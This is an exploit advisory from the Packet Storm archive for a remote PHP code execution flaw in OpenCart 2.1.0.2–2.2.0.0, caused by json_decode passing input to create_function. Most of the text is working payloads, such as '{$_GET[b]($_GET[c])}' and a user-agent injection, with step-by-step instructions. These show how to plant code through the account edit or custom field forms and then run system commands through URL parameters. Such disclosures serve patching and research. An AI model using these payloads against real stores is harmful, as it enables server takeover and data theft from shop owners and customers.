exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OpenCart 2.2.0.0 Remote PHP Code Execution

OpenCart 2.2.0.0 Remote PHP Code Execution
Posted Apr 11, 2016
Authored by Naser Farhadi

OpenCart version 2.2.0.0 suffers from a remote PHP code execution vulnerability.

tags | exploit, remote, php, code execution
SHA-256 | 1417eaf1f6b4295c475e0cc0fe94f8b4ddfb74538eee3554c3b8bb9362212ef5

OpenCart 2.2.0.0 Remote PHP Code Execution

Change Mirror Download
##
# OpenCart json_decode function Remote PHP Code Execution
#
# Author: Naser Farhadi
# Twitter: @naserfarhadi
#
# Date: 9 April 2016 # Version: 2.1.0.2 to 2.2.0.0 (Latest version)
# Vendor Homepage: http://www.opencart.com/
#
# Vulnerability:
# ------------
# /upload/system/helper/json.php
# $match = '/".*?(?<!\\\\)"/';
# $string = preg_replace($match, '', $json);
# $string = preg_replace('/[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/', '', $string);
# ...
# $function = @create_function('', "return {$json};"); /**** The Root of All Evil ****/
# $return = ($function) ? $function() : null;
# ...
# return $return;
#
# Exploit(json_decode):
# ------------
# var_dump(json_decode('{"ok":"{$_GET[b]($_GET[c])}"}'));
# var_dump(json_decode('{"ok":"$_SERVER[HTTP_USER_AGENT]"}'));
# var_dump(json_decode('{"ok":"1"."2"."3"}'));
#
# Real World Exploit(OpenCart /index.php?route=account/edit)
# ------------
# go to http://host/shop_directory/index.php?route=account/edit
# fill $_SERVER[HTTP_USER_AGENT] as First Name
# /** save it two times **/
# Code execution happens when an admin user visits the administration panel, in this example
# admin user sees his user agent as your First Name in Recent Activity :D
#
# Another example(OpenCart account/edit or account/register custom_field): /** Best Case **/
# ------------
# if admin adds a Custom Field from /admin/index.php?route=customer/custom_field for custom
# user information like extra phone number,... you can directly execute your injected code.
# go to http://host/shop_directory/index.php?route=account/edit
# fill {$_GET[b]($_GET[c])} as Custom Field value
# save it
# go to http://host/shop_directory/index.php?route=account/edit&b=system&c=ls /** Mission Accomplished **/
#
# Note:
# ------------
# Exploit only works if PHP JSON extension is not installed.
#
# Video: https://youtu.be/1Ai09IQK4C0
##
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close